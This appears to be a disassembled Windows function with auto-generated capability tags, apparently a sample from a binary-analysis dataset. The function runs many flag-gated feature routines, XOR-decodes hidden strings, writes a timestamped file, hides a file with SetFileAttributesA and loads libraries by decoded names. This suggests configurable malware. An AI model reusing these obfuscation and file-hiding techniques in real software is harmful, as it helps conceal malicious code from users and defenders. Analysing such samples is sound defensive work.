Function at 0x42da70
Capabilities:
Create thread
Encode data using xor
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x599216
mov eax, dword fs:[0]
push eax
sub esp, 0x160
push ebx
push esi
push edi
mov eax, dword [0x6d28d0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.0042ceb0
cmp dword [0x6e3180], 1
jne 0x42daae
call fcn.0042cdd0
cmp dword [0x6e31e4], 0
jne 0x42dac0
cmp dword [0x6e31ec], 1
jne 0x42dac5
call fcn.0042c0c0
cmp dword [0x6e31c4], 1
jne 0x42dad3
call fcn.0040bb10
cmp dword [0x6e31f0], 1
jne 0x42dae1
call fcn.0040bbf0
cmp dword [0x6e3190], 1
jne 0x42dafc
push 0
push 0
push 0x40e000
call dword [sym.imp.MSVCR120.dll__beginthread]
add esp, 0xc
cmp dword [0x6e31e4], 1
jne 0x42db0a
call fcn.004276c0
cmp dword [0x6e31ec], 0
je 0x42db1d
call fcn.004270a0
call fcn.0040b820
cmp dword [0x6e31f8], 1
jne 0x42db2b
call fcn.0041cf60
cmp dword [0x6e31fc], 1
jne 0x42db39
call fcn.0041d630
cmp dword [0x6e3230], 1
jne 0x42db47
call fcn.0042e1d0
cmp dword [0x6e3224], 1
jne 0x42db55
call fcn.0042ac40
cmp dword [0x6e321c], 1
jne 0x42db6c
cmp dword [0x6e318c], 0
jne 0x42db6c
call fcn.0042c430
cmp dword [0x6e316c], 1
jne 0x42e00b
mov dword [ebp - 0x10], 0x5ae970
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42dbd2
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42dbc9
sub edi, ecx
lea esp, [esp]
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42dbb0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x41cf30
push edi
push dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0040ae40
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov dword [ebp - 0x10], 0x5ae9c0
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42dc43
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42dc3a
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42dc21
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x41cf30
push edi
push dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0040ae40
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
cmp dword [0x6e31cc], 1
jne 0x42dd89
mov dword [ebp - 0x10], 0x5a7ba4
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42dcc2
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42dcb9
sub edi, ecx
nop
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42dca0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0x16c]
call fcn.0040c3b0
mov dword [ebp - 0x10], 0x5aea10
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x42dd32
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42dd29
sub edi, ecx
mov edi, edi
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42dd10
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0x16c]
push edi
push eax
call fcn.0040ae40
add esp, 8
lea ecx, [ebp - 0x168]
call fcn.00409fd0
test eax, eax
jne 0x42dd6b
push eax
mov eax, dword [ebp - 0x16c]
lea ecx, [ebp - 0x16c]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x10c]
mov dword [ebp - 4], 0xffffffff
call fcn.0040c4c0
lea ecx, [ebp - 0x10c]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
cmp dword [0x6e31dc], 1
jne 0x42e0eb
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCR120.dll__time64]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCR120.dll__localtime64]
mov dword [ebp - 0x10], 0x5ab20c
add esp, 8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 0x14], eax
cmp byte [ebx + 0x13], 0
je 0x42de05
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42ddfc
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42dde3
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0xc4]
call fcn.0040c3b0
mov dword [ebp - 0x10], str._rwBmWjj
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 1
cmp byte [ebx + 0x13], 0
je 0x42de73
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42de6a
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42de51
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0040ae40
push dword [ebp - 0x14]
call dword [sym.imp.MSVCR120.dll_asctime]
push eax
lea eax, [ebp - 0xc4]
push eax
call fcn.0040ae40
mov dword [ebp - 0x10], 0x5aea10
add esp, 0x14
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42def2
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42dee9
sub edi, ecx
lea esp, [esp]
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42ded0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0040ae40
mov dword [ebp - 0x10], 0x5a7c38
add esp, 8
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42df57
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42df4e
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42df35
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xc4]
push edi
push eax
call fcn.0040ae40
add esp, 8
lea ecx, [ebp - 0xc0]
call fcn.00409fd0
test eax, eax
jne 0x42df90
push eax
mov eax, dword [ebp - 0xc4]
lea ecx, [ebp - 0xc4]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov dword [ebp - 0x10], 0x5ab20c
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42dfe5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42dfdc
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [ecx + edi]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42dfc3
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 2
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x64]
mov dword [ebp - 4], 0xffffffff
call fcn.0040c4c0
lea ecx, [ebp - 0x64]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
jmp 0x42e0eb
cmp dword [0x6e317c], 1
jne 0x42e019
call fcn.0041e800
cmp dword [0x6e31c8], 1
jne 0x42e027
call fcn.0042be10
cmp dword [0x6e3218], 1
jne 0x42e035
call fcn.0040f5a0
cmp dword [0x6e3184], 1
jne 0x42e043
call fcn.0040ca70
cmp dword [0x6e3200], 1
jne 0x42e051
call fcn.00420de0
cmp dword [0x6e3188], 1
jne 0x42e05f
call fcn.0040d030
cmp dword [0x6e320c], 1
jne 0x42e06d
call fcn.00416b70
cmp dword [0x6e3204], 1
jne 0x42e07b
call fcn.00410cc0
cmp dword [0x6e3208], 1
jne 0x42e089
call fcn.00417460
cmp dword [0x6e3210], 1
jne 0x42e097
call fcn.00416560
cmp dword [0x6e31c0], 1
jne 0x42e0a5
call fcn.00410c00
cmp dword [0x6e31d8], 1
jne 0x42e0b3
call fcn.0041f520
cmp dword [0x6e31b4], 1
jne 0x42e0c1
call fcn.0041c530
cmp dword [0x6e3220], 1
jne 0x42e0cf
call fcn.0041c2b0
cmp dword [0x6e3214], 1
jne 0x42e0dd
call fcn.0041fdf0
cmp dword [0x6e31d4], 1
jne 0x42e0eb
call fcn.004203a0
cmp dword [0x6e3174], 1
jne 0x42e0f9
call fcn.0042c3a0
cmp dword [0x6e3178], 1
jne 0x42e107
call fcn.00420dc0
cmp dword [0x6e3228], 1
jne 0x42e115
call fcn.0042c370
cmp dword [0x6e318c], 1
jne 0x42e131
cmp dword [0x6e316c], 0
jne 0x42e131
call fcn.0040efc0
call fcn.0040efe0
cmp dword [0x6e31bc], 1
jne 0x42e146
push dword [0x6e3144]
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x6e31b8], 1
jne 0x42e1ab
mov dword [ebp - 0x10], 0x5aea94
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x42e1a4
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x42e19b
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x42e182
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x6e32b4], 1
jne 0x42e1b9
call fcn.0042c0d0
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret